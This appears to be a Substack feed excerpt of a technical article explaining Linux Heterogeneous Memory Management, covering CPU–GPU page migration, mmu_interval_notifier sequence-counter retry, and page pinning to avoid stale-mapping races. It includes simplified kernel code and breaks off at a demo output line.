/__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 848w, /__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!lPyE!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3695b6fe-f7d5-4ded-9ddc-87bd269d8e07_4000x2880.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/caching-strategies-for-heterogeneous">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Heterogeneous Memory Management (HMM): The Data Structures Behind CPU–GPU Page Migration]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/heterogeneous-memory-management-hmm</link><guid isPermaLink="false">https://howtech.substack.com/p/heterogeneous-memory-management-hmm</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Fri, 07 Aug 2026 09:30:24 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!uFIF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every time a CUDA, ROCm, or oneAPI program calls <code>malloc()</code> and hands the pointer straight to the GPU without ever calling <code>cudaMallocManaged()</code> or pinning a buffer, something has to reconcile two completely different memory systems: a CPU page table walked by the MMU, and a GPU page table walked by hardware that has never heard of <code>struct page</code>. That reconciliation is the job of HMM &#8212; Heterogeneous Memory Management &#8212; a kernel subsystem that lives almost entirely in <code>mm/hmm.c</code> and <code>mm/migrate_device.c</code>.</p><p>HMM is not a scheduler policy and not a NUMA balancing heuristic. It is a set of data structures and synchronization primitives that let a device driver ask the mm subsystem, &#8220;what physical memory currently backs this range of a process&#8217;s address space, and can I safely migrate it to my device?&#8221; The interesting engineering is entirely in how that question is answered <em>correctly</em> while the answer can change out from under you at any instant &#8212; because the CPU can unmap, fork, swap, or collapse a THP in the middle of a GPU page fault.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>This lesson builds a faithful userspace model of that race, breaks it deliberately, catches the breakage with ThreadSanitizer and AddressSanitizer, and then fixes it using the exact synchronization pattern HMM uses in the kernel: sequence-counter retry plus page pinning.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!uFIF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 424w, /__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 848w, /__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 1272w, /__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!uFIF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png" width="1456" height="1019" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1019,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1046406,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/208963733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 424w, /__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 848w, /__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 1272w, /__u/substackcdn.com/image/fetch/$s_!uFIF!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83c0c390-f0fd-4abf-8b9a-416ff793b6de_4000x2800.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>2. Historical Background</h2><p>Before HMM, heterogeneous memory on Linux meant one of two unattractive options. Either the application used a special allocator (<code>cudaMallocManaged</code>, or vendor-specific unified memory APIs) that carved out a dedicated address range the driver fully owned and mirrored, or it pinned ordinary pages with <code>get_user_pages()</code> and DMA&#8217;d them in place, permanently, for the lifetime of the mapping. Pinning works but doesn&#8217;t scale: pinned memory can&#8217;t be swapped, can&#8217;t be moved by compaction, and can&#8217;t participate in normal reclaim. A GPU workload that touches gigabytes of working set but only needs megabytes resident at once has no good answer under that model.</p><p>HMM, merged incrementally between Linux 4.14 and 4.20, generalized the <em>page fault</em> itself. J&#233;r&#244;me Glisse&#8217;s original design let a device register a &#8220;mirror&#8221; of a process&#8217;s address space and receive faults through the same path the CPU MMU uses, backed by <code>mmu_notifier</code> (later <code>mmu_interval_notifier</code>) infrastructure that had already existed for KVM and RDMA. The payoff: ordinary <code>malloc()</code>&#8216;d memory becomes GPU-accessible on demand, migrates to device memory when the GPU touches it, and migrates back when the CPU touches it &#8212; all without the application doing anything special. <code>ZONE_DEVICE</code>, added around the same era, gave device memory its own <code>struct page</code> representation so the rest of the mm subsystem (reference counting, <code>migrate_pages()</code>, even <code>/proc/pid/smaps</code> in some configurations) could reason about it using existing machinery instead of a parallel one.</p><p>The API itself went through a notable simplification. The earliest HMM mirroring interface exposed a much wider surface &#8212; drivers registered fault and invalidate callbacks directly and managed a fair amount of bookkeeping themselves. By the time HMM stabilized, the API had collapsed down to essentially two entry points a driver author needs to understand deeply: <code>hmm_range_fault()</code> for turning an address range into a PFN list, and the <code>migrate_vma_*()</code> family for actually moving pages between host and device memory. The <code>mmu_interval_notifier</code> conversion (replacing the older, coarser <code>mmu_notifier</code> in this role) was itself a correctness-driven rewrite &#8212; the older interface made it easy for drivers to accidentally miss an invalidation window, exactly the class of bug this lesson reproduces.</p><p>It&#8217;s worth being precise about what HMM is <em>not</em>. It is not a NUMA migration policy &#8212; that&#8217;s the job of subsystems like DAMON-based migration, <code>numa_balancing</code>, or explicit <code>move_pages()</code> calls, which decide <em>when</em> and <em>whether</em> migration should happen based on access patterns. HMM sits one layer below: it is the mechanism that makes any migration <em>safe</em> to perform at all against a live, mutable address space. A NUMA balancer and an HMM-based GPU driver can both be moving pages around the same process concurrently, and the correctness burden HMM exists to satisfy is exactly what stops those two movers from stepping on each other.</p><h2>3. The Systems-Level Problem</h2><p>The problem HMM solves has a name in the concurrent-programming literature: <strong>TOCTOU (time-of-check to time-of-use)</strong>, applied to page tables. A GPU driver&#8217;s fault handler does roughly:</p><ol><li><p>Look up which host pages back a faulting address range.</p></li><li><p>Do something slow with that information &#8212; set up a DMA transfer, migrate the pages to device memory, install device page-table entries.</p></li><li><p>Let the GPU proceed, now trusting that the device PTEs point at valid memory.</p></li></ol><p>Between steps 1 and 2, the <em>kernel</em> can invalidate that mapping for reasons that have nothing to do with the GPU: the process calls <code>munmap()</code>, a <code>fork()</code> triggers copy-on-write, the reclaim path swaps a page out, or a transparent huge page gets split or collapsed. If the driver&#8217;s snapshot from step 1 is stale by the time it commits in step 3, it can install a device-visible mapping to memory that has been freed and reallocated for something else entirely &#8212; a heap-use-after-free with a hardware DMA engine as the writer, which is about as unpleasant as a race condition gets.</p><p>HMM&#8217;s entire data-structure design is aimed at making that race unrepresentable if a driver author follows the API contract, and it is <em>very</em> representable if they don&#8217;t &#8212; which is a real bug class in tree, not a hypothetical.</p><h2>4. Linux Kernel Architecture</h2><p>The relevant pieces span three layers, shown in the diagram above:</p><ul><li><p><strong>Userspace</strong>: the application never opts in explicitly; a CUDA/ROCm runtime calling regular <code>malloc()</code> is enough. The GPU user-mode driver (UMD) submits work and receives device page faults from the kernel-mode driver.</p></li><li><p><strong>Syscall interface</strong>: <code>mmap()</code> establishes the VMA the driver will mirror; <code>ioctl()</code> calls into the DRM subsystem register the mirror and handle fault notifications; <code>madvise(MADV_DONTNEED)</code> and friends can trigger the invalidation paths HMM has to survive.</p></li><li><p><strong>Kernel</strong>: <code>mm/hmm.c</code> owns the range-fault API and works directly against <code>mm_struct</code>, <code>vm_area_struct</code>, and the page tables. <code>mm/migrate_device.c</code> owns the actual page migration once HMM has identified which pages need to move. The <code>mmu_interval_notifier</code> (generalized from the older <code>mmu_notifier</code>) is the synchronization primitive gluing them together &#8212; it is <em>the</em> object that tells a driver &#8220;your snapshot might be stale, recheck before you trust it.&#8221;</p></li></ul><p>A driver&#8217;s involvement starts well before any fault happens. At probe/init time it calls <code>mmu_interval_notifier_insert()</code> to register interest in a <code>[start, end)</code> range against a target <code>mm_struct</code>, supplying an ops table whose <code>.invalidate()</code> callback the mm subsystem will call synchronously whenever something in that range changes. That callback&#8217;s job is deliberately narrow: bump the sequence counter and, if the invalidation type demands it (e.g. an actual unmap rather than a permissions change), block until any pins the driver is holding on the affected pages are released. Everything downstream of that &#8212; deciding whether to migrate, which pages, in which direction &#8212; is driver policy layered on top of a kernel mechanism that only guarantees one thing: you will find out, cheaply and reliably, if your snapshot went stale.</p><p>This layering is why the same <code>mmu_interval_notifier</code> machinery serves GPU drivers, RDMA on-demand paging, and even KVM&#8217;s original <code>mmu_notifier</code> use case for shadow page tables &#8212; the correctness problem (&#8221;a hardware page table mirrors a software one that can change&#8221;) is identical regardless of what&#8217;s on the other end of the mirror.</p><h2>5. Internal Working</h2><p>The two structures that matter most:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;cf13e08f-6362-45a2-9f53-773c7c4fd65d&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">/* include/linux/hmm.h (simplified) */
struct hmm_range {
    struct mmu_interval_notifier *notifier;
    unsigned long        notifier_seq;   /* snapshot at read_begin() */
    unsigned long        start;
    unsigned long        end;
    unsigned long        *hmm_pfns;      /* per-page PFN + flags array */
    unsigned long        default_flags;
    unsigned long        pfn_flags_mask;
    void                 *dev_private_owner;
};
</code></pre></div><p><code>notifier_seq</code> is the field this entire lesson is about. It is captured with <code>mmu_interval_read_begin(notifier)</code> before the driver walks the page tables, and it must be rechecked with <code>mmu_interval_read_retry(notifier, seq)</code> <em>after</em> the driver has done its slow work but <em>before</em> it commits anything device-visible. If the sequence changed, the correct action is not &#8220;proceed carefully&#8221; &#8212; it is &#8220;throw the result away and refault.&#8221; There is no safe way to patch up a stale snapshot; the only correct move is to redo it.</p><p>The second half of the mechanism is page pinning. A stale sequence number alone only tells you <em>that</em> something changed; it doesn&#8217;t prevent the underlying page from being freed while you&#8217;re still looking at it. HMM-based drivers take a reference (conceptually <code>get_page()</code>/<code>folio_get()</code>) on the pages they&#8217;re inspecting, and the invalidation path is required to wait for outstanding references to drop before it actually reclaims the page &#8212; it can <em>announce</em> the invalidation (bump the sequence, so readers know to discard their snapshot) without having to <em>block</em> every reader synchronously, because the pin keeps the memory itself alive during the (short) drop-and-refault window.</p><h2>6. Step-by-Step Execution Flow</h2><h2>Github link:</h2><p><a href="https://github.com/sysdr/howtech-p/tree/main/Data_Structures_Heterogeneous/hmm-demo">https://github.com/sysdr/howtech-p/tree/main/Data_Structures_Heterogeneous/hmm-demo</a></p><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!pHsj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 424w, /__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 848w, /__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 1272w, /__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!pHsj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png" width="1456" height="1860" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1860,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:958423,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/208963733?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 424w, /__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 848w, /__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 1272w, /__u/substackcdn.com/image/fetch/$s_!pHsj!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed82a8f3-3626-41f0-90f1-c055050604d8_3600x4600.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><ol><li><p>GPU hardware raises a page fault on an address the device page table doesn&#8217;t have mapped.</p></li><li><p>The kernel-mode driver&#8217;s fault handler calls into <code>hmm_range_fault()</code>, which walks the CPU page tables for the faulting range.</p></li><li><p>Before the walk, <code>mmu_interval_read_begin()</code> captures <code>notifier_seq</code>.</p></li><li><p>The driver pins the discovered pages and begins migration via <code>migrate_vma_setup()</code> / <code>migrate_vma_pages()</code> &#8212; a DMA copy from host DRAM to device HBM, non-trivial in duration.</p></li><li><p><strong>Concurrently</strong>, anything in the kernel that changes the mapping (<code>munmap</code>, COW fork, THP split, swap-out) fires the registered <code>mmu_interval_notifier</code> invalidate callback, which bumps the sequence counter.</p></li><li><p>After the migration work completes, the driver calls <code>mmu_interval_read_retry(notifier, seq)</code>.</p></li><li><p><strong>Decision node</strong>: if the sequence changed, drop the pin and refault &#8212; go back to step 3 with a fresh snapshot. If unchanged, proceed.</p></li><li><p>The driver calls <code>migrate_vma_finalize()</code>, installing the device page-table entry.</p></li><li><p>The pin is dropped.</p></li><li><p>The GPU resumes execution against the now-valid device mapping; control returns to userspace only once the fault is resolved from the GPU&#8217;s perspective.</p></li></ol><h2>7. Kernel Data Structures</h2><p>Beyond <code>struct hmm_range</code>, the structures worth knowing by name:</p><ul><li><p><code>struct mmu_interval_notifier</code> &#8212; registers a <code>[start, end)</code> range of interest against an <code>mm_struct</code> and carries the ops table (<code>.invalidate()</code>) the mm subsystem calls into.</p></li><li><p><code>struct migrate_vma</code> &#8212; driven by <code>migrate_vma_setup()</code>; carries <code>src</code> and <code>dst</code> PFN arrays that describe the in-flight migration on a per-page basis, plus the same VMA range HMM already walked.</p></li><li><p><code>struct page</code> / <code>struct folio</code> with <code>ZONE_DEVICE</code> &#8212; device-resident memory gets real <code>struct page</code> entries via <code>devm_memremap_pages()</code>, so <code>put_page()</code>, reference counting, and even some reclaim paths work unmodified against device memory instead of needing a parallel type system.</p></li><li><p><code>hmm_pfns[]</code> &#8212; the per-page flags array in <code>hmm_range</code>, encoding whether a page is valid, needs a fault, is write-protected, or is already device-resident (<code>HMM_PFN_VALID</code>, <code>HMM_PFN_WRITE</code>, <code>HMM_PFN_ERROR</code>, and friends).</p></li></ul><p>The per-page flags matter because a single <code>hmm_range_fault()</code> call can return a mix of outcomes across the range &#8212; some pages already resident and mappable immediately, some requiring the caller to fault them in (e.g. they&#8217;re currently swapped out), and some simply erroring out (e.g. the address isn&#8217;t backed by anything, or belongs to a VMA type HMM doesn&#8217;t support like a device-special mapping). A driver has to walk this array and handle each case, not assume uniform success across the range:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;2783c28b-75ed-4832-a21f-4220c37f1e78&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">/* Simplified caller-side pattern after hmm_range_fault() returns */
for (i = 0; i &lt; npages; i++) {
    unsigned long pfn_flags = range-&gt;hmm_pfns[i];

    if (pfn_flags &amp; HMM_PFN_ERROR) {
        /* unrecoverable for this page: SIGBUS-equivalent to the device */
        continue;
    }
    if (!(pfn_flags &amp; HMM_PFN_VALID)) {
        /* page not resident; caller must retry with fault-in requested */
        need_refault = true;
        continue;
    }
    /* pfn_flags encodes the PFN itself plus HMM_PFN_WRITE etc. */
    device_pfn = hmm_pfn_to_pfn(pfn_flags);
}
</code></pre></div><p>This is a direct structural analog of what the demo&#8217;s <code>hmm_pfns</code>-equivalent (<code>g_host_pages[]</code> plus the pin count) is doing, simplified down to the single property this lesson is about: can you trust the pointer you&#8217;re holding, and is it still backed by live memory.</p><h2>8. CPU-Level Behaviour</h2><p>The synchronization pattern is deliberately lock-light on the fast path. <code>mmu_interval_read_begin()</code>/<code>read_retry()</code> is a sequence-counter (seqcount-style) pattern, not a mutex: readers never block writers, and the common case (no concurrent invalidation) costs one atomic load at the start and one at the end, with no cache-line contention against other faulting threads. This matters because GPU fault handling is latency-sensitive &#8212; thousands of faults per second under real workloads &#8212; and a coarse-grained lock across the whole migration would serialize unrelated ranges against each other for no reason.</p><p>The cost is pushed onto the rare path: a genuine invalidation means discarded work and a refault, which is strictly correct but can show up as measurable overhead under pathological access patterns (e.g., a CPU thread and GPU kernel ping-ponging writes to the same page, which is a real anti-pattern user code can hit and one HMM cannot fix for you).</p><h2>9. Performance Analysis</h2><p>The demo below models exactly this pattern: one thread continuously performs range-fault-and-migrate, another continuously invalidates at the same granularity, deliberately adversarial to maximize the refault rate for demonstration. In the corrected implementation, run against 20,000 fault rounds across 64 page slots:</p><pre><code><code>hmm_sim_after: completed 20000 rounds on 64 slots, 17665 refaults
